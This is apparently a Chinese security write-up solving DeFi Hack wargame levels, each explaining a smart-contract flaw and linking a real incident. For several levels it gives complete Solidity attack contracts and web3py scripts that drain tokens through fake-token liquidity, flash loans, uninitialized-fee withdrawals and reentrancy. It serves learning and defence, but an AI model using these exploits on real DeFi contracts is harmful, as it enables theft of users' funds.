作者:0x9k
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org

前言

DeFi Hack是根據真實世界DeFi中出現的漏洞為模板,抽象而來的wargame。用以提高學習者挖掘、利用DeFi智能合約漏洞的技能[1]。

May The Force Be With You

題目描述

本關目標是從MayTheForceBeWithYou合約中盜取所有的YODA token,難度三顆星。

合約代碼分析

YODA token是自實現的ERC20,自己實現了transfer方法。其自實現的doTransfer方法在token數量不足的情況下,并沒有revert,而僅僅只是返回false。

攻擊

圖1-1 攻擊前合約余額
圖1-2 攻擊步驟

真實場景

https://blog.forcedao.com/xforce-exploit-post-mortem-7fa9dcba2ac3

DiscoLP

題目描述

本關基于Uniswap2實現了一個自己的流動性池DiscoLP(流動性token為DISCO),配對了JIMBO和JAMBO兩種token。初始時給定player 1JIMBO和1JAMBO,期望用戶獲得100流動性token DISCO。難度七顆星。

合約代碼分析

depositToken函數沒有針對傳入的token(可控)進行有效性判斷(判斷是否為JIMBO、JAMBO)。致使后續在Uniswap路由中判斷配對合約時并不是JIMBO&JAMBO,而是用戶傳入的token和配對合約中的一個token。

攻擊

惡意構造一個token并mint,與配對合約中的tokenA創一個新的配對合約到Uniswap。調用depositToken獲取得到超過100流動性的DISCO,再把獲取的流動性token由攻擊者合約轉給player即可。

pragma solidity >=0.6.5;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/token/ERC20/ERC20.sol";

interface IDiscoLP {
     function depositToken(address _token, uint256 _amount, uint256 _minShares) external;
     function balanceOf(address from) external returns (uint256);
     function approve(address spender, uint256 amount) external returns (bool);
     function transfer(address recipient, uint256 amount) external returns (bool);
}

contract Token is ERC20 {
    constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) public {
        _mint(msg.sender, 2**256 - 1);
    }
}


library $ {
  address constant UniswapV2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // ropsten
  address constant UniswapV2_ROUTER02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ropsten
}

interface IUniswapV2Factory {
  event PairCreated(address indexed token0, address indexed token1, address pair, uint);

  function getPair(address tokenA, address tokenB) external view returns (address pair);
  function allPairs(uint) external view returns (address pair);
  function allPairsLength() external view returns (uint);

  function feeTo() external view returns (address);
  function feeToSetter() external view returns (address);

  function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router {
    function WETH() external pure returns (address _token);
    function addLiquidity(address _tokenA, address _tokenB, uint256 _amountADesired, uint256 _amountBDesired, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB, uint256 _liquidity);
    function removeLiquidity(address _tokenA, address _tokenB, uint256 _liquidity, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB);
    function swapExactTokensForTokens(uint256 _amountIn, uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external returns (uint256[] memory _amounts);
    function swapETHForExactTokens(uint256 _amountOut, address[] calldata _path, address _to, uint256 _deadline) external payable returns (uint256[] memory _amounts);
    function getAmountOut(uint256 _amountIn, uint256 _reserveIn, uint256 _reserveOut) external pure returns (uint256 _amountOut);
}

interface IPair {
    function token0() external view returns (address _token0);
    function token1() external view returns (address _token1);
    function price0CumulativeLast() external view returns (uint256 _price0CumulativeLast);
    function price1CumulativeLast() external view returns (uint256 _price1CumulativeLast);
    function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
    function mint(address _to) external returns (uint256 _liquidity);
    function sync() external;
}

contract DiscoLPAttack {

    function getToken0(address pair) public view returns(address) {
        return IPair(pair).token0();
    }

    function atttack(address instance, uint256 amount, address tokenA) public payable {
        address _factory = $.UniswapV2_FACTORY;
        address _router = $.UniswapV2_ROUTER02;

        ERC20 evilToken = new Token("Evil Token", "EVIL");

        address pair = IUniswapV2Factory(_factory).createPair(address(evilToken), address(tokenA));
        evilToken.approve(instance, uint256(-1));
        evilToken.approve(_router, uint256(-1));
        IERC20(tokenA).approve(_router, uint256(-1));

        (uint256 amountA, uint256 amountB, uint256 _shares) = IUniswapV2Router(_router).addLiquidity(
          address(evilToken),
          address(tokenA),
          1000000 * 10 ** 18,
          1 * 10 ** 18,
          1, 1, address(this), uint256(-1));


        IDiscoLP(instance).depositToken(address(evilToken), amount, 1);
    }

    function transferDiscoLP2Player(address instance, address player) public payable {
        uint256 balance = IDiscoLP(instance).balanceOf(address(this));
        IDiscoLP(instance).approve(address(this), uint256(-1));
        IDiscoLP(instance).transfer(player, balance);
    }
}


/**
 *  step1: get reserveToken() from instance
 *  step2: deploy attack contract
 *  step3: get token0 on pair attack.getToken0(reserveToken)
 *  step4: token0.transfer(attack contract, 1 * 10 ** 18)
 *         Token contract At Address in remix then transfer
 *  step5: attack contract attack(instance, 1000000 * 10 ** 18, token0)
 *  step6: transferDiscoLP2Player(instance, player)
 *  step7: in DiscoLP balanceOf(player)
 **/

真實場景

https://growthdefi.medium.com/raave-farming-contract-exploit-explained-f3b6f0b3c1b3

P2PSwapper

題目描述

本關實現了一個零信任的DEX,并提供了交易相關的操作(創建createDeal、處理takeDeal、取消cancleDeal等)。目標是盜取P2PSwapper 合約中所有的WETH token。難度五顆星。

合約代碼分析

默認partnerById和userByAddress并未初始化,當withdrawFees的user不存在,能bypass檢查,使得userByAddress[msg.sender] == 0 == partnerById[userId]。從而實現多次withdrawFees,最終實現提取完合約P2PSwapper中的WETH。

攻擊

/**
 *  1. 初始時P2PSwapper中的weth token,balanceOf(instance) == 313337+1 = 313338
 *       instance.createDeal{value: 313337}(p2pweth, 1, p2pweth, 1000000000000);
 *       partnerFees[0] = 313338/2 = 1566669
 * 
 *  2. 攻擊者player調用p2pweth.deposit(1eth)
 *  3. 攻擊者player調用approve(instance, 10eth = 1*10^19 = 10000000000000000000)完成授權
 *  4. 攻擊者player調用P2PSwapper.createDeal(p2pweth, 1, p2pweth, 1) (value:3133338)
 *      此時P2PSwapper合約instance的余額 balanceOf(instance) = 313338+1+3133338 = 3446677
 * 
 *  5. 攻擊者player調用P2PSwapper.withdrawFees(player2)提取到一個未注冊&初始化的用戶地址player2
 *      此時P2PSwapper合約instance的余額 balanceOf(instance) = 3446677 - partnerFees[0] = 3446677 - 1566669 = 1880008
 * 
 *  6. 攻擊者player調用P2PSwapper.withdrawFees(player3)提取到一個未注冊&初始化的用戶地址player3
 *       此時P2PSwapper合約instance的余額 balanceOf(instance)  = 1880008 - partnerFees[0] = 1880008 - 1566669 = 313339
 *      
 *  7. 繼續withdrawFees合約余額是不足的,需要稍加計算先給合約轉入weth p2pweth.transfer(instance) = 1253330
 *      此時P2PSwapper合約instance的余額 balanceOf(instance) = 313339 + 1253330 = 1566669 = partnerFees[0]
 * 
 *  8. 攻擊者player調用P2PSwapper.withdrawFees(player4)提取到一個未注冊&初始化的用戶地址player4
 *      此時P2PSwapper合約instance的余額 balanceOf(instance) = 1566669 - partnerFees[0] = 1566669 - 1566669 = 0
 * 
 *  done
**/

圖2-1 P2PSwapper合約余額
圖2-2 創建交易
圖2-3 withdrawFees
圖2-4 攻擊步驟8完成以后P2PSwapper合約余額

上述過程可以利用web3py&web3js編寫自動化腳本。web3py攻擊腳本如下:

# -*-coding:utf-8-*-
__author__ = 'joker'

import json
import time
from web3 import Web3, HTTPProvider
from web3.gas_strategies.time_based import fast_gas_price_strategy, slow_gas_price_strategy, medium_gas_price_strategy

# infura_url = 'https://ropsten.infura.io/v3/xxxx'
infura_url = 'http://127.0.0.1:7545'
web3 = Web3(Web3.HTTPProvider(infura_url, request_kwargs={'timeout': 600}))

web3.eth.setGasPriceStrategy(fast_gas_price_strategy)
gasprice = web3.eth.generateGasPrice()
print("[+] fast gas price {0}...".format(gasprice))

player_private_key = ''
player_account = web3.eth.account.privateKeyToAccount(player_private_key)
web3.eth.defaultAccount = player_account.address
print("[+] account {0}...".format(player_account.address))
player2_address = ''
player3_address = ''
player4_address = ''


def send_transaction_sync(tx, account, args={}):
    args['nonce'] = web3.eth.getTransactionCount(account.address)
    signed_txn = account.signTransaction(tx.buildTransaction(args))
    tx_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction)
    time.sleep(30)
    return web3.eth.waitForTransactionReceipt(tx_hash)

challenge_address = ""
with open('./P2PSwapper/challenge.abi', 'r') as f:
    abi = json.load(f)
challenge_contract = web3.eth.contract(address=challenge_address, abi=abi)
p2pweth_address = challenge_contract.functions.p2pweth().call()

print("[+] p2pweth {0}...".format(p2pweth_address))
with open('./P2PSwapper/p2pweth.abi', 'r') as f:
    abi = json.load(f)
p2pweth_contract = web3.eth.contract(address=p2pweth_address, abi=abi)


# p2pweth.deposit(1eth)
print("[+] step1 player p2pweth deposit 1eth...")
tx = p2pweth_contract.functions.deposit()
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice, 'value': 1000000000000000000})
#

# approve(instance, 10eth = 1*10^19 = 10000000000000000000)
print("[+] step2 player approve(instance, 10eth = 1*10^19 = 10000000000000000000)...")
tx = p2pweth_contract.functions.approve(guy=challenge_address, wad=10000000000000000000)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#

# P2PSwapper.createDeal(p2pweth, 1, p2pweth, 1) (value:3133338)
print("[+] step3 createDeal(p2pweth, 1, p2pweth, 1) with player (value:3133338)...")
tx = challenge_contract.functions.createDeal(bidToken=p2pweth_address, bidPrice=1, askToken=p2pweth_address, askAmount=1)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice, 'value': 3133338})
#

# P2PSwapper.withdrawFees(player2)
print("[+] step4 withdrawFees(player2) from player...")
tx = challenge_contract.functions.withdrawFees(user=player2_address)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#

# P2PSwapper.withdrawFees(player3)
print("[+] step5 withdrawFees(player3) from player...")
tx = challenge_contract.functions.withdrawFees(user=player3_address)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#

# p2pweth.transfer(instance) = 1253330
print("[+] step6 p2pweth.transfer(instance) = 1253330...")
tx = p2pweth_contract.functions.transfer(dst=challenge_address, wad=1253330)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#

# P2PSwapper.withdrawFees(player4)
print("[+] step7 withdrawFees(player2) from player...")
tx = challenge_contract.functions.withdrawFees(user=player4_address)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#

print('[+] Solved {0} ...'.format(p2pweth_contract.functions.balanceOf(challenge_address).call() == 0))

圖2-5 web3py自動化攻擊結果

真實場景

FakerDAO

題目描述

本關是一個基于Uniswap實現的DAO合約,使用YIN&YANG實現配對合約。初始時player擁有5000YIN&5000YANG,目標從FakerDAO合約中借取1LAMBO的流動性代幣。難度七顆星。

合約代碼分析

很明顯,利用Uniswap的閃電貸屬性[2],完成借貸并在閃電貸過程中調用FakerDAO合約的borrow獲取流動性token,然后歸還閃電貸即可。閃電貸[2]需要實現IUniswapV2Callee接口的uniswapV2Call方法。

攻擊

首先從攻擊合約中獲取配對合約token0&token1,把player擁有的初始化token,轉給攻擊合約,攻擊合約實現uniswapV2Call接口,利用閃電貸(Flash Loan)完成借貸,并調用FakerDAO.borrow方法獲取流動性token,最后歸還閃電貸。

pragma solidity ^0.6.0;

import "https://github.com/Uniswap/v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol";
import "./UniswapV2Library.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/token/ERC20/IERC20.sol";


contract FakerDAOAttack is IUniswapV2Callee{

    address public instance;


    function attack(address _instance, address _pair, uint256 amount0Out, uint256 amount1Out) public {

        instance = _instance;

        // (uint256 _reserve0, uint256 _reserve1,) = Pair(_pair).getReserves();
        address token0 = Pair(_pair).token0();
        address token1 = Pair(_pair).token1();
        address _router = $.UniswapV2_ROUTER02;

        IERC20(token0).approve(_router, uint256(-1));
        IERC20(token1).approve(_router, uint256(-1));
        IERC20(_pair).approve(_instance, uint256(-1));


        // add liquidity
         (uint256 amountA, uint256 amountB, uint256 _shares) = IUniswapV2Router(_router).addLiquidity(
          token0,
          token1,
          1500 * 10 ** 18,
          1500 * 10 ** 18,
          1, 1, address(this), uint256(-1));


          Pair(_pair).swap(amount0Out, amount1Out, address(this), bytes('not empty'));
    }


    function uniswapV2Call(address _sender, uint _amount0, uint _amount1, bytes calldata _data) external override {

        // address[] memory path = new address[](2);
        // uint amountToken = _amount0 == 0 ? _amount1 : _amount0;

        address token0 = Pair(msg.sender).token0();
        address token1 = Pair(msg.sender).token1();

        require(msg.sender == UniswapV2Library.pairFor($.UniswapV2_FACTORY, token0, token1),'Unauthorized');

        FakerDAO(instance).borrow(1);

        // transfer into pair(msg.sender)
                // return flash loan 
        IERC20(token0).transfer(msg.sender, IERC20(token0).balanceOf(address(this)));
        IERC20(token1).transfer(msg.sender, IERC20(token1).balanceOf(address(this)));
    }

    function toPlayer() public {
        FakerDAO(instance).transfer(msg.sender, 1);
    }
}


interface FakerDAO is IERC20 {
    function borrow(uint256 _amount) external;
}



library $
{
    address constant UniswapV2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // ropsten
    address constant UniswapV2_ROUTER02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ropsten
}

interface Pair is IERC20
{
    function token0() external view returns (address _token0);
    function token1() external view returns (address _token1);
    function price0CumulativeLast() external view returns (uint256 _price0CumulativeLast);
    function price1CumulativeLast() external view returns (uint256 _price1CumulativeLast);
    function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
    function mint(address _to) external returns (uint256 _liquidity);
    function sync() external;
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}

interface IUniswapV2Router {
    function WETH() external pure returns (address _token);
    function addLiquidity(address _tokenA, address _tokenB, uint256 _amountADesired, uint256 _amountBDesired, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB, uint256 _liquidity);
    function removeLiquidity(address _tokenA, address _tokenB, uint256 _liquidity, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB);
    function swapExactTokensForTokens(uint256 _amountIn, uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external returns (uint256[] memory _amounts);
    function swapETHForExactTokens(uint256 _amountOut, address[] calldata _path, address _to, uint256 _deadline) external payable returns (uint256[] memory _amounts);
    function getAmountOut(uint256 _amountIn, uint256 _reserveIn, uint256 _reserveOut) external pure returns (uint256 _amountOut);
}


/**
 * steps:
 * 1) get token0 and token1 on contract.pair
 * 2) deploy FakerDAOAttack
 * 3) token0.transfer(FakerDAOAttack, 5000000000000000000000) from player
 * 4) token1.transfer(FakerDAOAttack, 5000000000000000000000) from player
 * 5) FakerDAOAttack.attack(instance, pair, 1, 999999999999999999999999)
 * 6) FakerDAOAttack.toPlayer 
*/

圖3-1 完成攻擊后提交檢驗結果

真實場景

https://slowmist.medium.com/analysis-of-warp-finance-hacked-incident-cb12a1af74cc

Main Khinkal Chef

題目描述

本關MainChef合約實現了流動性池管理的工具,可以通過add添加池子Pool信息,隨著區塊時間的變化,會針對Pool池子進行獎勵(通過updatePool完成)。獎勵通過代幣KhinkalToken進行發放,每當池子更新,MainChef合約都會mint對應的獎勵代幣KhinkalToken,目標是盜取MainChef合約中所有的KHINKAL token。難度五顆星。

合約代碼分析

圖4-1 設置管理員檢查存在漏洞

setGovernance用以修改管理員,檢查邏輯存在嚴重錯誤,可以修改管理員,從而實現向合約中添加新的token即形成新的Pool。正確的檢查邏輯應該如下(多了一個下劃線,導致和參數一致):

require(msg.sender == owner() || msg.sender == governance, "Access denied");

圖4-2 管理員添加新token

有了管理員權限之后,可以添加任意的token(evil token)。

圖4-3 token可控

在任意添加token之后,token的transferfrom為攻擊者可控的惡意函數。

圖4-4 token可控&重入攻擊

由于token可控,user.amount在token.transfer之后重置,致使可以利用重入攻擊多次withdraw,從而實現抽干合約中的代幣。

圖4-5 控制是否更新獎勵

由于token可控,token的balanceOf函數可控,利用lpSupply可以控制是否獎勵,這在后續攻擊中需要用到,用來計算此時MainChef中的獎勵代幣KhinkalToken數量。

攻擊

圖4-6 代幣獎勵與區塊高度

由于獎勵代幣KhinkalToken和區塊高度息息相關,在真實場景中交易頻繁,為了很好的實現精準控制,需要針對重入攻擊(token.tranfser)進行精確布局,以保證能自適應區塊高度的變化。

圖4-7 重入攻擊中精準計算進行控制

完整的攻擊代碼分為攻擊合約&攻擊腳本web3py,攻擊腳本進行相關的計算并調用攻擊合約完成攻擊。 攻擊合約如下:

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/token/ERC20/IERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/access/Ownable.sol";
import "./KhinkalToken.sol";

interface IMainChef {
    function setGovernance(address _governance) external;
    function withdraw(uint256 _pid) external;
    function deposit(uint256 _pid,uint256 _amount) external;
    function addToken(IERC20 _lpToken) external; 
    function updatePool(uint256 _pid) external;
}


contract MainChefAttack is Ownable {
    IMainChef target;
    uint pwnedtransferFlag;
    uint pwnedtransferFromFlag;
    uint balanceOfFlag;
    uint256 pid;
    KhinkalToken khinkal;
    uint256 accKhinkalPerShare;

    constructor(address _target, address _token) public {
        target = IMainChef(_target);
        khinkal = KhinkalToken(_token);
        balanceOfFlag = 1;
        pid = 1;
        pwnedtransferFlag = 0;
    }

    function setAccKhinkalPerShare(uint256 _accKhinkalPerShare) public onlyOwner {
        accKhinkalPerShare = _accKhinkalPerShare;
    }


    // function balanceOf(address account) public view virtual returns (uint256) {
    function balanceOf(address account) public virtual returns (uint256) {
        if (balanceOfFlag == 1) {
            return 0;
        } else {
            return 1e18;
        }
    }


    function transfer(address recipient, uint256 amount) public virtual returns (bool) {
        // reentrant attack exp
        if (pwnedtransferFlag == 1) {
            pwnedtransferFlag = 2;
            if (khinkal.balanceOf(address(target)) > 0) {
                target.withdraw(pid);
            }
            return true;
        }
        if (pwnedtransferFlag == 2) {
            // 1 + 78333646677 = 78333646678
            // withdraw 500004127749479808 * 2
            uint256 leftBalanceChallenge = khinkal.balanceOf(address(target));
            uint256 withdrawBalance = 500004127749479808 * accKhinkalPerShare / 1e12;

            if (leftBalanceChallenge < withdrawBalance) {
                 khinkal.transfer(address(target), withdrawBalance - leftBalanceChallenge);
            } else if (leftBalanceChallenge < 2 * withdrawBalance) {
                khinkal.transfer(address(target), 2 * withdrawBalance - leftBalanceChallenge);
            }

            pwnedtransferFlag = 3;
            if (khinkal.balanceOf(address(target)) > 0) {
                target.withdraw(pid);
            }
            return true;
        }
        if (pwnedtransferFlag == 3) {
            pwnedtransferFlag = 0;
            if (khinkal.balanceOf(address(target)) > 0) {
                target.withdraw(pid);
            }
            return true;
        }
        return true;
    }

    // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/token/ERC20/ERC20.sol
    function transferFrom(address sender, address recipient, uint256 amount) public virtual returns (bool) {
        return true;
    }


    function attackPwnedPrepare() public payable onlyOwner {
        target.setGovernance(address(this));
        target.addToken(IERC20(address(this)));

        // after 5 block number
        /** 
         *  internal 5 block number
            khinkalReward = 5 * 31333333337 / 2  = 78333333342
            accKhinkalPerShare = khinkalReward * 1e12 /1e18
                               = 78333333342 * 1e12 / 1e18
                               = 78333
            instance = 313337 + khinkalReward
                     = 313337 + 78333333342
                     = 78333646679
            lastKhinkalReward = khinkalReward = 78333333342

            bypass require(pending <= pool.lastKhinkalReward, "Reward bigger than minted");
            78333646679
            78333646679 / 2 = 39166823339
           >>> "%.40f" %(39166823339*1e12/78333)
          '500004127749479808.0000000000000000000000000000000000000000'
        */
        target.deposit(pid, 500004127749479808);
    }

    function attackUpdatePool() public payable onlyOwner {
        balanceOfFlag = 0;
        target.updatePool(pid);
        balanceOfFlag = 1;
    }

    function attackPwned() public payable onlyOwner {
        pwnedtransferFlag = 1;
        target.withdraw(pid);
    }


    function validateInstanceAddress() public view returns (bool) {
        return khinkal.balanceOf(address(target)) == 0;
    }


    function getInstance() public view returns (address) {
        return address(target);
    }


    function getTokenAddress() public view returns (address) {
        return address(khinkal);
    }
}


/**
 *  1. deployed MainChefAttack
 *  2. MainChefAttack.attackPrepare()
 *  3. MainChefAttack.attackUpdatePool()
 *  4. MainChefAttack.setAccKhinkalPerShare()
 *  3. MainChefAttack.attackPwned()
*/

攻擊腳本如下:

# -*-coding:utf-8-*-
__author__ = 'joker'

import json
import time
from web3 import Web3, HTTPProvider
from web3.gas_strategies.time_based import fast_gas_price_strategy, slow_gas_price_strategy, medium_gas_price_strategy

infura_url = 'https://ropsten.infura.io/v3/xxxx'
# infura_url = 'http://127.0.0.1:7545'
web3 = Web3(Web3.HTTPProvider(infura_url, request_kwargs={'timeout': 600}))


web3.eth.setGasPriceStrategy(fast_gas_price_strategy)
gasprice = web3.eth.generateGasPrice()
print("[+] fast gas price {0}...".format(gasprice))

player_private_key = ''
player_account = web3.eth.account.privateKeyToAccount(player_private_key)
web3.eth.defaultAccount = player_account.address
print("[+] account {0}...".format(player_account.address))


def send_transaction_sync(tx, account, args={}):
    args['nonce'] = web3.eth.getTransactionCount(account.address)
    signed_txn = account.signTransaction(tx.buildTransaction(args))
    tx_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction)
    time.sleep(30)
    return web3.eth.waitForTransactionReceipt(tx_hash)


print("[+] step0 deployed attack contract...")
with open('./attack.abi', 'r') as f:
    abi = json.load(f)
with open('./attack.bin', 'r') as f:
    code = json.load(f)['object']
attack_contract = web3.eth.contract(bytecode=code, abi=abi)
challenge_address = ""
token_address = ""
tx = attack_contract.constructor(_target=challenge_address,
                                 _token=token_address)
attack_contract_address = send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})[
    'contractAddress']
print("[+] attack contract address {0}...".format(attack_contract_address))
attack_contract = web3.eth.contract(address=attack_contract_address, abi=abi)

# step1 attackPrepare
print("[+] step1 attackPwnedPrepare...")
tx = attack_contract.functions.attackPwnedPrepare()
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#

block_number = web3.eth.blockNumber
print("[+] block number {0}...".format(block_number))
print("[+] waiting for reach block number...")
while web3.eth.blockNumber != block_number + 4:
    # print("[-] waiting ...")
    continue

# step2 attackUpdatePool
print("[+] step2 attackUpdatePool...")
tx = attack_contract.functions.attackUpdatePool()
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#

input("any key to continue...")
# sometimes u can not get accurate block number of 4 maybe more
# to adapt to we need calc and tranfser
# uint256 leftBalanceChallenge = khinkal.balanceOf(address(target));
# uint256 withdrawBalance = 500004127749479808 * accKhinkalPerShare / 1e12;
# if (leftBalanceChallenge < 2 * withdrawBalance)
#    khinkal.transfer(address(target),2 * withdrawBalance - leftBalanceChallenge);
# set accKhinkalPerShare to attack contract for calcing
print("[+] get accKhinkalPerShare and set it to attack contract...")
with open('./challenge.abi', 'r') as f:
    abi = json.load(f)
challenge_contract = web3.eth.contract(address=challenge_address, abi=abi)
accKhinkalPerShare = challenge_contract.functions.poolInfo(1).call()[3]
tx = attack_contract.functions.setAccKhinkalPerShare(_accKhinkalPerShare=accKhinkalPerShare)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#

# step3 attackPwned
print("[+] step3 attackPwned...")
tx = attack_contract.functions.attackPwned()
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#

# check
print('[+] Solved {0} ...'.format(attack_contract.functions.validateInstanceAddress().call()))
#

圖4-8 完整攻擊過程

真實場景

https://github.com/IceCreamSwap/contracts/blob/7e433aa1d2633665b95a12687a17fc84d2a9c1ac/farm-contracts/MasterChef.sol

Reference

[1] https://mobile.twitter.com/theraz0r/status/1395288985740664834
[2] https://github.com/Uniswap/v2-periphery/blob/master/contracts/examples/ExampleFlashSwap.sol

附錄

本地測試合約代碼&攻擊合約代碼見https://github.com/0x9k/blockchain/defihack_xyz
本地測試合約統一從Factory進行部署,部署獲取得到instance即為關卡合約地址。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1880/